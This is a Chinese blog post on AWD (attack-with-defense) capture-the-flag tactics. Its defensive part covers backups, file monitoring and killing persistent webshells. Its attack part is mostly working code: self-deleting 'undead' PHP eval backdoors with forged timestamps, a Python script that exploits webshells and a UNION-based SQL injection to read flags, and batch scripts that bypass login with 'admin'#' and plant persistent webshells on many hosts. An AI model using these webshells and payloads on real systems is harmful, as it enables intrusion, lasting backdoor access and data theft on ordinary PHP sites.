AWD攻防技巧

admin 2022年1月6日01:43:35安全博客 CTF专场评论13 views12919字阅读43分3秒阅读模式

AWD的攻防思路和脚本整理

防护

备份

备份好处:

  • 别⼈直接把源码给你删了或者删库,可直接备份过去,防⽌down机被扣分
  • 快速寻找发现漏洞,或者⽤D盾、360、⽕绒等扫,看看有没预留后⻔
  • 当你被种⻢以后,找不到⻢的位置,或者⻢被插⼊某个⽂件,可重新下载⽂件和初始版本进⾏对⽐(beyond compare),看看差别

网站源码

连接ssh( 常⻅⼯具mobaXterm,xtfp,finalshell)

1
ssh -p ssh_port [email protected]_ip

修改ssh密码

1
passwd

网站源码压缩

1
2
cd /var/www/html                      
tar -zcvf /tmp/xxx.tar.gz ./*

下载到本地

1
scp -P ssh_port [email protected]_ip:/tmp/xxx.tar.gz local_file

数据库

数据库的账户密码,可在网站配置文件如 config.php 里寻找
数据库登录

1
2
mysql –pdb_user –udb_passwd 
mysql>show databases;

备份指定数据库,

1
mysqldump -udb_user -pdb_passwd db_name > /tmp/bak.sql

备份所有数据库

1
mysql -udb_user -pdb_passwd  --all-databases< back.sql

下载到本地

1
scp -P ssh_port [email protected]_ip:/tmp/bak.sql local_file

恢复

网站源码

本地备份上传到靶机,/tmp目录下的文件如果没有被删除,这步就不用

1
scp -P  local_file ssh_port [email protected]_ip:/tmp/xxx.tar.gz

源码解压

1
tar -zxvf /tmp/xxx.tar.gz /var/www/html/*

数据库

1
2
3
4
5
6
7
数据库登录:mysql -udb_user -pdb_passwd 

创建数据库:mysql>create database db_name;

source 还原:mysql>use db_name; mysql>source /tmp/bak.sql

mysql 还原:mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql

WAF

一些WAF工具
https://github.com/dycsy/awd-watchbird
https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF
https://github.com/DasSecurity-Labs/AoiAWD

文件监控

寻找最近20分钟修改的文件

1
find /var/www/html -name *.php -mmin -20

杀不死马

  • 建立一个和不死马一样名字的文件夹,这样不死马就写不进去了。完全杀死不死马,得清理内存。

    1
    rm -rf .2.php | mkdir .2.php
  • 杀进程得在root或者www-data权限下。如上传一句话,然后执行 system(‘kill -9 -1’); 杀死所有进程,再手动删除木马

    1
    2
    shell.php: <?php @eval($_GET['9415']); ?>
    url访问:shell.php?9415=system('kill -9 -1');
  • 用一个脚本竞争写入,脚本同不死马,usleep要低于对方不死马设置的值.
    top 查看占用率最高的cpu进程
    q 退出
    M 根据驻留内存大小进行排序
    P 根据CPU使用百分比大小进行排序

    1
    2
    3
    4
    5
    6
    7
    <?php
    while (1) {
    $pid = 不死⻢的进程PID;
    @unlink("c.php");
    exec("kill -9 $pid");
    usleep(1000);
    }?>
  • 重启 apache,php 等web服务(一般不会有权限)

流量日志

通过对流量、⽇志的分析,可以:

  • 感知可能正在发⽣的攻击,从⽽规避存在的安全⻛险
  • 应急响应,还原攻击者的攻击路径,从⽽挽回已经造成的损失
  • 某些情况下还能对攻击进⾏重放复现

流量

流量监控日志:
https://github.com/wupco/weblogger
https://github.com/DasSecurity-Labs/AoiAWD
批量包含文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

function install($dir,$filename){
$layer_list = scandir($dir);
foreach ($layer_list as $i){
if ($i === '.' || $i === "..") {
continue;
}
$next = $dir . $i;
if (is_dir($next)) {
if ($next[strlen($next) - 1] !== '/') {
$next .= "/";
}
install($next,$filename);
} else {
$ext = end(explode('.', $next));
$php_ext = ["php", "php5", "phtml"];
if (in_array($ext, $php_ext) && strlen($ext) !== strlen($next)&& $next!=__FILE__) {
$old_file_str = file_get_contents($next);
file_put_contents($next, "<?php include_once '".$filename."'; ?>" . $old_file_str);
}
}
}

}
function uninstall($dir,$filename)
{
$layer_list = scandir($dir);
foreach ($layer_list as $i) {
if ($i === '.' || $i == "..") {
continue;
}
$next = $dir . $i;
if (is_dir($next)) {
if ($next[strlen($next) - 1] !== '/') {
$next .= "/";
}
uninstall($next,$filename);
} else {
$ext = end(explode('.', $next));
$php_ext = ["php", "php5", "phtml"];
if (in_array($ext, $php_ext) && strlen($ext) !== strlen($next)&& $next!=__FILE__) {
$old_file_str = file_get_contents($next);
echo $next . "\n";
file_put_contents($next, str_replace("<?php include_once '".$filename."'; ?>", "", $old_file_str));

}
}
}
}

if (isset($argv[1]) && $argv[1] === "--install") {
if (!isset($argv[2])) {
die("Usage: php fileinclude.php --install [web dir] [incoude file]\n Example: php fileinclude.php--install /var/www/html /tmp/filename.php");
}
$install_path = $argv[2];
$include_file = $argv[3];
if ($install_path[strlen($install_path) - 1] !== '/') {
$install_path .= "/";
}
install($install_path,$include_file);
die();
}
if (isset($argv[1]) && $argv[1] === "--uninstall") {
if (!isset($argv[2])) {
die("Usage: php fileinclude.php --uninstall [web dir] [incoude file]\n Example: php fileinclude.php --uninstall /var/www/html /tmp/filename.php");
}
$install_path = $argv[2];
$include_file = $argv[3];
if ($install_path[strlen($install_path) - 1] !== '/') {
$install_path .= "/";
}
uninstall($install_path,$include_file);
die();
}
?>

用法:

1
2
3
4
包含:php fileinclude.php --install [web dir] [filename]   
php fileinclude.php --install /var/www/html /tmp/129fc23931a5be05b43f0e9d2c90bd15/weblogpro.php
删除包含:php fileinclude.php --uninstall [web dir] [filename]
php fileinclude.php --install /var/www/html /tmp/129fc23931a5be05b43f0e9d2c90bd15/weblogpro.php

中间件日志

⽐如apache,nginx
查看当前访问量前⼗的链接

1
cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head

攻击

不死马

普通版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'admin.php';
$code = '<?php if(md5($_GET["pass"])=="3bf8d4b2d94742b03e7d08cdf1f32128"){@eval($_POST[a]);} ?>';
//9415p4ss20rd
while (1){

file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" admin.php');
usleep(1000);
}
?>
  • ignore_user_abort(true):函数设置与客户机断开是否会终⽌脚本的执⾏。这⾥设置为true则忽略与⽤户的断开,即使与客户机断
    开脚本仍会执⾏。
  • set_time_limit() :函数设置脚本最⼤执⾏时间。这⾥设置为0,即没有时间⽅⾯的限制。
  • unlink(__FILE__) :删除⽂件本身,以起到隐蔽⾃身的作⽤。
  • while:循环内每隔 usleep(1000) 即写新的后⻔⽂件
    system(): 执⾏的命令⽤于修改⽂件的创建或修改时间,可以绕过“find /var/www/html –name *.php –mmin -10”命令检测最
    近10分钟修改或新创建的PHP⽂件,但不⼀定有⽤,可选。

⽹上流传的不死⻢, while ⾥⾯只是并没有判断了这个⽂件是不是存在 ,
那么我只需要把这个⽂件中的 shell 注释掉就可以绕过你的内存⽊⻢了。

进阶版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'admin.php';
$code = '<?php if(md5($_GET["pass"])=="3bf8d4b2d94742b03e7d08cdf1f32128"){@eval($_POST[a]);} ?>';
//$code ='PD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iM2JmOGQ0YjJkOTQ3NDJiMDNlN2QwOGNkZjFmMzIxMjgiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4=';
//9415p4ss20rd
while (1){
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" admin.php');
}
usleep(1000);
}
?>

批量提交flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import json
import requests
import re
from threading import Thread
#ignore the validity of the certificate
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#disable the security warnning message
requests.packages.urllib3.disable_warnings()


class FlagFile():
def __init__(self):
# save flag
self.flag_file = "./flag.txt"

def add_one(self, flag):
if flag:
with open(self.flag_file, "a+") as f:
f.write(flag + "\n")

def add_many(self, flags):
if flags:
with open(self.flag_file, "a+") as f:
for flag in flags:
f.write(flag + "\n");

def del_all(self):
f = open(self.flag_file, "w+")
f.truncate()

def get_all(self):
with open(self.flag_file, "r", encoding='utf-8') as f:
flags = set([i.strip() for i in f.readlines() if i ] )
return flags

def submit_flag(flag):
host_url="http://awd.hillstonenet.com/api/flag" #提交地址
headers={
"Content-Type": "application/json; charset=UTF-8",
"Authorization": "d89fdcf7f1fd37a69aef7ea0d507a51a"
}
#data={
#'answer':flag,
#'token': 'bf9805453b757d736b544c656d86e671'

#}
data={
"flag":flag
}
try:
data=json.dumps(data)
r=requests.post(host_url,data=data,headers=headers)
print(r.text)
except Exception as e:
print(e)
# match the flag
def match_flag(content):
comp = re.compile("hillstone{.*?}")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""



#web1
def web1_shell(host,port):
shell_url = "http://{}:{}/admin/upload/admin.php?pass=p455word".format(host, port)
command="show_source('/flag');"
data = {
"a": command
}
res=requests.post(url=shell_url,data=data)
return match_flag(res.text)

#web2
def web2_sql(host,port):
sql_url="http://{}:{}/sqlgunsearch.php".format(host,port)
data={
"key": "key=aa%' union select 1,2,load_file('/flag')#--"
}
try:
res=requests.post(url=sql_url,data=data)
return match_flag(res.text)
except Exception as e:
print(e)
#web3
def web3_shell(host,port):
shell_url = "http://{}:{}/includes/config.php?d=assert".format(host, port)
command = "show_source('/flag');"
data = {
"c": command
}
res = requests.post(url=shell_url, data=data)
return match_flag(res.text)




class web1_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
pass
def rce(self):
pass
def webshell(self):
flag=web1_shell(self.host,self.port)
self.flag_file.add_one(flag)

class web2_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
flag=web2_sql(self.host,self.port)
self.flag_file.add_one(flag)
def rce(self):
pass

def webshell(self):
pass

class web3_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
pass
def rce(self):
pass
def webshell(self):
flag=web3_shell(self.host,self.port)
self.flag_file.add_one(flag)



def web_exp(host,port,num):
exp = eval("web{}_exp(host, port)".format(num))
exp.sql()
exp.rce()
exp.webshell()

def attack_web(host,port,num):
base_host=host
base_port=port
tasks = []
flag_file = FlagFile()
flag_file.del_all()
for i in range(1, 11):
tasks.append(Thread(target=web_exp, args=(base_host, base_port + i,num)))
for task in tasks:
task.start()
for task in tasks:
task.join()
for flag in flag_file.get_all():
submit_flag(flag)

if __name__=='__main__':
base_host1 = "ip"
base_port1 = 8100
base_host2 = "ip"
base_port2 = 8200
base_host3 = "ip"
base_port3 = 8300
attack_web(base_host1,base_port1,1)
attack_web(base_host2, base_port2,2)
attack_web(base_host3, base_port3,3)

批量上传webshell

固定文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
from threading import Thread
import re
filename="./webshell.php" #webshell文件位置
class UploadFile():
def __init__(self,upload_url,prefix_url,login_url=""):
self.session=requests.session()
self.login_url=login_url
self.upload_url=upload_url
self.prefix_url=prefix_url
self.suffix_url=""

def login(self):
data = {
"username": "admin'#",
"password": "asd"
}
self.session.post(url=self.login_url, data=data)

def upload(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Upgrade-Insecure-Requests": "1",
"Content-Length": "623"
}
f = {
# "localUrl": (None, "webshell.php"),
"pic": ("webshell.php", open(filename, "rb"), "application/octet-stream")

}
res = self.session.post(url=self.upload_url, files=f, headers=headers)
self.suffix_url=self.upload_path(res.text)
print(res.status_code)

def active_webshell(self):
try:
self.session.get(url=self.prefix_url+self.suffix_url, timeout=3)
except Exception as e:
print(e)

# get upload file path
def upload_path(self,content):
pass
comp = re.compile("/upload.*?[.]php")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""

def start_upload(host,port):
login_url = "http://{}:{}/login.php".format(host, port)
upload_url = "http://{}:{}/admin/upload.php".format(host, port)
prefix_url = "http://{}:{}/admin".format(host, port)
uploadfile=UploadFile(upload_url,prefix_url,login_url)
uploadfile.login() #login in
uploadfile.upload()# upload undead webshell
uploadfile.active_webshell()# active undead webshell

if __name__=='__main__':
base_host="ip"
base_port=8100
tasks=[]
for i in range(1,11):
t=Thread(target=start_upload,args=(base_host,base_port+i))
tasks.append(t)
for task in tasks:
task.start()
for task in tasks:
task.join()

随机文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
from threading import Thread
import hashlib
import re
filename="./webshell.php" #webshell文件位置
shell_content='''
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '%s';
$code = '<?php if(md5($_GET["pass"])=="47fe7f87f45e7403be0a9eb7a30a2970"){@eval($_POST[a]);} ?>';
while (1){
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file,$code);
system("touch -m -d '2018-12-01 09:10:12' $file");
}
usleep(1000);
}
?>'''
class UploadFile():
def __init__(self,host,port):
self.session=requests.session()
self.host=host
self.port=port
self.login_url = "http://{}:{}/login.php".format(host, port)
self.upload_url = "http://{}:{}/admin/upload.php".format(host, port)
self.prefix_url = "http://{}:{}/admin".format(host, port)
self.suffix_url=""

def login(self):
data = {
"username": "admin'#",
"password": "asd"
}
self.session.post(url=self.login_url, data=data)

def upload(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Upgrade-Insecure-Requests": "1",
"Content-Length": "623"
}
shell_name=get_shell_name(self.host,self.port)
f = {
# "localUrl": (None, "webshell.php"),
"pic": ("webshell.php", shell_content%(shell_name), "application/octet-stream")

}
res = self.session.post(url=self.upload_url, files=f, headers=headers)
self.suffix_url=self.upload_path(res.text)
print(res.status_code)

def active_webshell(self):
try:
absolute_url=self.prefix_url+self.suffix_url
print(absolute_url)
self.session.get(url=absolute_url, timeout=3)
except Exception as e:
print(e)

# get upload file path
def upload_path(self,content):
pass
comp = re.compile("/upload.*?[.]php")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""
# generate md5 filename
def get_shell_name(host,port):
secret_key="ye1s"
strings="{}{}".format(host,port)+secret_key
md5=hashlib.md5()
md5.update(strings.encode())
return "."+md5.hexdigest()[0:6]+".php"


def start_upload(host,port):
uploadfile=UploadFile(host,port)
uploadfile.login() #login in
uploadfile.upload()# upload undead webshell
uploadfile.active_webshell()# active undead webshell

if __name__=='__main__':
base_host="ip"
base_port=8100
tasks=[]
for i in range(1,11):
t=Thread(target=start_upload,args=(base_host,base_port+i))
tasks.append(t)
for task in tasks:
task.start()
for task in tasks:
task.join()

一句话写文件

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:43:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  AWD攻防技巧 http://cn-sec.com/archives/722421.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: